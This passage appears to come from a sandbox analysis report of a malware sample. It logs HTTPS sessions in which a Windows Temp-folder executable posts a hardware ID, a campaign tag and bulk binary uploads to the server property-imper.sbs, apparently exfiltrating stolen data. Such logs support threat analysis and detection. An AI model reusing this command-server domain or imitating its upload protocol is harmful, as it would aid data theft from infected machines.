46 72 33 37 30 55 38 48 4c 70 45 61 63 38 58 68 71 78 6e 79 51 6d 69 2b 6c 4e 46 4f 6e 54 64 4e 33 33 46 4a 7a 37 34 37 67 34 52 57 50 54 71 52 6a 41 58 74 45 30 67 6a 31 79 54 70 69 Data Ascii: HCZaVZyk6Yt1wc91rNvehVVJV9/ReNxm2RiWKWYemIZ5Aith3bjVilys0nCl587YWCRTe8Vw2UKENMMFQjfR/0UGE03RtOmOaLjrObjz6rlJaW/viTzsCuEchglqMuiSVCcebeXF9Nt0aPtJ8NvO/XBFLs/8MPBz+G2mFWZO/JppCh9xxbDdukiww0mw496ZbXFr370U8HLpEac8XhqxnyQmi+lNFOnTdN33FJz747g4RWPTqRjAXtE0gj1yTpi
2024-11-24 11:25:46 UTC	1369	IN	Data Raw: 32 33 70 76 4e 47 69 65 4c 48 4f 53 4a 7a 37 73 37 67 34 52 65 66 48 68 5a 54 77 4c 2f 6c 78 6e 6d 42 65 47 75 47 66 4a 43 59 6a 51 64 47 59 77 62 5a 73 72 4f 4e 6c 74 4f 50 4f 6d 57 30 4e 58 38 75 6c 49 4f 78 2b 34 52 53 69 4f 55 59 61 39 4a 70 6c 4f 79 5a 55 2b 62 69 55 75 78 57 67 64 32 32 51 39 74 4c 45 59 53 42 54 36 36 67 78 6a 55 4c 35 4a 49 34 74 5a 67 62 4d 31 6c 30 43 4a 32 47 78 71 4f 32 61 62 4a 44 2f 52 62 7a 44 30 71 31 31 63 58 2f 44 67 54 44 41 52 2f 67 31 70 68 6b 2f 42 37 47 65 67 52 49 66 66 63 47 6f 74 61 64 30 33 66 63 55 6e 50 76 6a 75 44 68 46 62 39 50 52 4c 50 68 69 33 51 79 65 49 58 6f 61 77 4a 4a 42 4e 68 64 52 33 61 6a 56 76 6c 53 63 77 33 47 77 78 2f 71 39 59 56 42 53 7a 70 6b 73 6a 55 4f 59 44 42 6f 4a 53 69 72 56 6c 74 6b 2b Data Ascii: 23pvNGieLHOSJz7s7g4RefHhZTwL/lxnmBeGuGfJCYjQdGYwbZsrONltOPOmW0NX8ulIOx+4RSiOUYa9JplOyZU+biUuxWgd22Q9tLEYSBT66gxjUL5JI4tZgbM1l0CJ2GxqO2abJD/RbzD0q11cX/DgTDAR/g1phk/B7GegRIffcGotad03fcUnPvjuDhFb9PRLPhi3QyeIXoawJJBNhdR3ajVvlScw3Gwx/q9YVBSzpksjUOYDBoJSirVltk+
2024-11-24 11:25:46 UTC	1369	IN	Data Raw: 53 55 75 78 57 67 47 33 32 6b 33 38 37 68 48 48 48 50 6e 36 30 6f 73 41 66 34 4e 61 59 63 58 32 65 52 70 30 55 32 59 6d 79 59 35 62 7a 58 49 65 32 53 4d 4e 53 61 36 74 78 5a 48 46 4b 57 30 41 6e 73 43 2f 68 74 70 78 6c 53 54 70 69 47 53 58 34 71 63 51 46 63 54 61 5a 73 74 4e 4d 77 6c 46 2f 2b 36 55 52 45 61 76 65 6b 4d 59 79 6e 2b 43 32 6d 2b 47 63 47 73 5a 38 6b 4a 76 4e 68 77 5a 7a 70 34 6a 47 55 64 32 32 45 38 38 37 34 55 66 31 2f 70 34 51 78 31 55 4c 67 44 63 64 45 5a 77 62 41 32 30 52 48 5a 69 53 55 38 62 6a 6e 4e 65 69 79 53 66 6e 6e 69 37 67 34 44 47 72 33 30 44 47 4e 51 2b 55 41 37 6b 31 47 43 6f 69 54 57 64 37 66 59 61 47 51 79 5a 5a 77 57 44 66 4a 71 4f 50 65 67 46 47 42 43 38 50 5a 50 50 68 65 41 66 53 65 47 51 34 61 36 49 5a 45 4a 78 35 74 78 Data Ascii: SUuxWgG32k387hHHHPn60osAf4NaYcX2eRp0U2YmyY5bzXIe2SMNSa6txZHFKW0AnsC/htpxlSTpiGSX4qcQFcTaZstNMwlF/+6UREavekMYyn+C2m+GcGsZ8kJvNhwZzp4jGUd22E8874Uf1/p4Qx1ULgDcdEZwbA20RHZiSU8bjnNeiySfnni7g4DGr30DGNQ+UA7k1GCoiTWd7fYaGQyZZwWDfJqOPegFGBC8PZPPheAfSeGQ4a6IZEJx5tx
2024-11-24 11:25:46 UTC	1369	IN	Data Raw: 4e 6f 4e 38 30 6e 59 61 54 38 44 51 51 48 71 72 59 65 4a 46 36 6e 41 7a 2f 42 44 39 50 36 5a 34 4d 4a 30 5a 73 35 61 69 39 38 6d 79 73 6c 33 79 41 48 79 6f 6c 59 56 6c 58 72 39 6b 45 33 4d 62 31 53 49 37 39 70 6c 4c 63 70 6e 30 36 66 79 6a 34 6e 66 57 48 64 63 41 71 63 4c 33 6e 4c 34 42 5a 4a 46 4b 57 6d 65 54 67 65 73 45 51 2f 6b 42 71 6d 75 69 43 51 58 35 6e 57 63 6b 67 2b 66 35 64 6f 66 5a 78 68 65 61 7a 38 47 42 46 51 37 4b 59 55 61 30 4c 6c 46 6e 72 57 42 39 4f 72 61 59 67 4a 6e 35 73 6d 4f 33 4d 75 6a 32 68 72 6e 43 41 36 35 72 78 51 55 6b 4c 2b 6f 58 49 46 4e 61 6c 41 4f 59 64 55 76 34 6f 4d 6e 55 2b 4f 77 58 6c 76 47 30 37 64 5a 6e 50 54 4a 32 48 4e 37 68 34 52 61 37 4f 6d 56 48 74 49 2f 6e 59 71 6a 31 6d 47 6f 6a 62 63 62 4a 37 59 62 6d 38 2b 4c Data Ascii: NoN80nYaT8DQQHqrYeJF6nAz/BD9P6Z4MJ0Zs5ai98mysl3yAHyolYVlXr9kE3Mb1SI79plLcpn06fyj4nfWHdcAqcL3nL4BZJFKWmeTgesEQ/kBqmuiCQX5nWckg+f5dofZxheaz8GBFQ7KYUa0LlFnrWB9OraYgJn5smO3Muj2hrnCA65rxQUkL+oXIFNalAOYdUv4oMnU+OwXlvG07dZnPTJ2HN7h4Ra7OmVHtI/nYqj1mGojbcbJ7Ybm8+L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49996	104.21.33.116	443	7488	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:46 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-24 11:25:46 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=9FA9CFCCE9F1ADD2D7CBBD6DF28D3732
2024-11-24 11:25:47 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=22kqqcn61pnt48924bo3q9sftf; expires=Thu, 20-Mar-2025 05:12:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ldemzdB7g2Qv6vjjAG8iX%2F2gytc5jh%2B%2FsOyh9NyPoKy7f%2FFOUrxNkkgx0Zqw2Ye7UhZYPDGSndhHz7bKp%2FtbjRvPY9KbRO5rWD7OkV67VBu%2B9nVc2hGJ1H%2F2z8kaOlFjgJlWXHs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790a500b1143ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1708&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1655328&cwnd=203&unsent_bytes=0&cid=9769d08da54ebf03&ts=1108&x=0"
2024-11-24 11:25:47 UTC	214	IN	Data Raw: 64 30 0d 0a 48 52 64 45 4d 54 74 52 7a 42 50 46 69 71 4c 44 5a 53 69 55 53 6e 7a 78 44 41 4e 52 6d 4a 38 4f 54 55 37 64 4b 7a 36 32 76 6c 74 47 62 47 5a 45 47 57 76 75 65 37 48 2b 30 76 6b 35 42 38 68 6c 54 63 6b 35 4c 57 4f 70 71 69 42 38 66 2b 34 46 44 34 44 69 64 48 4a 78 49 6d 30 55 4e 61 6c 31 36 2b 2f 61 70 6b 63 45 74 69 77 49 30 7a 59 7a 66 62 72 36 4c 48 64 2f 6f 41 64 46 6c 4d 74 35 4a 7a 55 73 52 55 38 68 39 6b 2f 71 31 6f 33 79 58 52 32 36 65 45 33 45 49 6a 4a 67 71 37 45 2f 65 78 4c 79 57 45 72 54 33 7a 5a 42 4f 44 5a 51 56 54 57 6a 66 75 76 76 32 71 5a 48 42 4c 59 73 43 4e 4d 32 4d 33 32 36 2b 69 78 33 66 71 42 32 0d 0a Data Ascii: d0HRdEMTtRzBPFiqLDZSiUSnzxDANRmJ8OTU7dKz62vltGbGZEGWvue7H+0vk5B8hlTck5LWOpqiB8f+4FD4DidHJxIm0UNal16+/apkcEtiwI0zYzfbr6LHd/oAdFlMt5JzUsRU8h9k/q1o3yXR26eE3EIjJgq7E/exLyWErT3zZBODZQVTWjfuvv2qZHBLYsCNM2M326+ix3fqB2
2024-11-24 11:25:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50035	104.21.33.116	443	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:52 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AT33SJRG3JU2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18133 Host: property-imper.sbs
2024-11-24 11:25:52 UTC	15331	OUT	Data Raw: 2d 2d 41 54 33 33 53 4a 52 47 33 4a 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 41 54 33 33 53 4a 52 47 33 4a 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 54 33 33 53 4a 52 47 33 4a 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 54 33 33 53 4a 52 47 Data Ascii: --AT33SJRG3JU2Content-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--AT33SJRG3JU2Content-Disposition: form-data; name="pid"2--AT33SJRG3JU2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--AT33SJRG
2024-11-24 11:25:52 UTC	2802	OUT	Data Raw: cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d Data Ascii: u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-11-24 11:25:53 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ae6r439gel0o882g9kgqh2mptf; expires=Thu, 20-Mar-2025 05:12:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E1xdr6WJ%2Bz57HQc1uB53EvVKWqsMf1v1zVp9nVAMcLNu%2BZEObsKU4yiE1JNNCsJk0NqEzRODyLLaCN2ZqgJY4jRIT0GmDRzeXdb3Zqpt8E3bqw0sgbjvH3D3SjS869qD7KSwB08%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790a72ccde1881-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1632&sent=18&recv=22&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19091&delivery_rate=1809169&cwnd=237&unsent_bytes=0&cid=85e7d3a315d728f0&ts=1086&x=0"
2024-11-24 11:25:53 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:25:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50052	104.21.33.116	443	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:56 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B16KMD7P6FLM9E8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8772 Host: property-imper.sbs
2024-11-24 11:25:56 UTC	8772	OUT	Data Raw: 2d 2d 42 31 36 4b 4d 44 37 50 36 46 4c 4d 39 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 31 36 4b 4d 44 37 50 36 46 4c 4d 39 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 31 36 4b 4d 44 37 50 36 46 4c 4d 39 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --B16KMD7P6FLM9E8Content-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--B16KMD7P6FLM9E8Content-Disposition: form-data; name="pid"2--B16KMD7P6FLM9E8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-24 11:25:57 UTC	1020	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ptdph1s2pd3h0svhru89ttv61f; expires=Thu, 20-Mar-2025 05:12:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hyVI%2Ff%2FKlbMiWywlfItxBudsRuGB6g949IKL%2Bq7GRDEeKEHcw6hSYM362A2ToWvOYjWQs2shy%2Bb7XcStZtxtSO%2BTW1yNZzjLNqRl72YfXQY9Dzfn4CNKES78v8RtHoF2qTExdEM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790a8d3e3c43fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1842&sent=11&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9710&delivery_rate=1675272&cwnd=158&unsent_bytes=0&cid=c5dcf15743ad6924&ts=790&x=0"
2024-11-24 11:25:57 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:25:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50059	104.21.33.116	443	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:59 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E6J00BF6FQ97 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: property-imper.sbs
2024-11-24 11:25:59 UTC	15331	OUT	Data Raw: 2d 2d 45 36 4a 30 30 42 46 36 46 51 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 45 36 4a 30 30 42 46 36 46 51 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 36 4a 30 30 42 46 36 46 51 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 36 4a 30 30 42 46 36 Data Ascii: --E6J00BF6FQ97Content-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--E6J00BF6FQ97Content-Disposition: form-data; name="pid"3--E6J00BF6FQ97Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--E6J00BF6
2024-11-24 11:25:59 UTC	5076	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-24 11:26:00 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:26:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n1q19rkqpcqlr6204oknfb5utl; expires=Thu, 20-Mar-2025 05:12:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W4QUqxhVtFqp84bwcx0IDVL3fr10GHmUs961kTol3j5hwi6xSxN2CWAc5UMqL1dQmQlffBCqDS5JPHGvh6Z7%2FgElJqeIuTaogYOXVQUgmj6tFfifRy1O%2BEwraQbJQOA9AJt3%2BAs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790a9edcef7ce2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21365&delivery_rate=1580086&cwnd=234&unsent_bytes=0&cid=9ad92d56769d54e5&ts=946&x=0"
2024-11-24 11:26:00 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:26:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50066	104.21.33.116	443	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:26:01 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A4YB64O5K10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1314 Host: property-imper.sbs
2024-11-24 11:26:01 UTC	1314	OUT	Data Raw: 2d 2d 41 34 59 42 36 34 4f 35 4b 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 41 34 59 42 36 34 4f 35 4b 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 34 59 42 36 34 4f 35 4b 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 34 59 42 36 34 4f 35 4b 31 30 Data Ascii: --A4YB64O5K10Content-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--A4YB64O5K10Content-Disposition: form-data; name="pid"1--A4YB64O5K10Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--A4YB64O5K10
2024-11-24 11:26:02 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:26:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r6fbb2qbpkhin8f79r3bi0k5sa; expires=Thu, 20-Mar-2025 05:12:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DNjkYMouykTNGrEUjVMgTq1t3LlGrBBK0IB%2BaormToGyjxCJ9bS%2BUQ1GnQGGCHdKS3OV2FbyRzAiH9XktAW4jM6tx%2FWKylRxSH7kbnL4kMUrrn54s5uiJAOTSHzNbkX4YeQfxHA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790aaeebb541bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=27484&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2226&delivery_rate=1792510&cwnd=203&unsent_bytes=0&cid=d9841f1b5f27c240&ts=714&x=0"
2024-11-24 11:26:02 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 11:26:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50081	104.21.33.116	443	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:26:06 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9LZ4UJBGCIAJGX3T8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49005 Host: property-imper.sbs
2024-11-24 11:26:06 UTC	15331	OUT	Data Raw: 2d 2d 39 4c 5a 34 55 4a 42 47 43 49 41 4a 47 58 33 54 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 39 4c 5a 34 55 4a 42 47 43 49 41 4a 47 58 33 54 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 4c 5a 34 55 4a 42 47 43 49 41 4a 47 58 33 54 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --9LZ4UJBGCIAJGX3T8Content-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--9LZ4UJBGCIAJGX3T8Content-Disposition: form-data; name="pid"1--9LZ4UJBGCIAJGX3T8Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
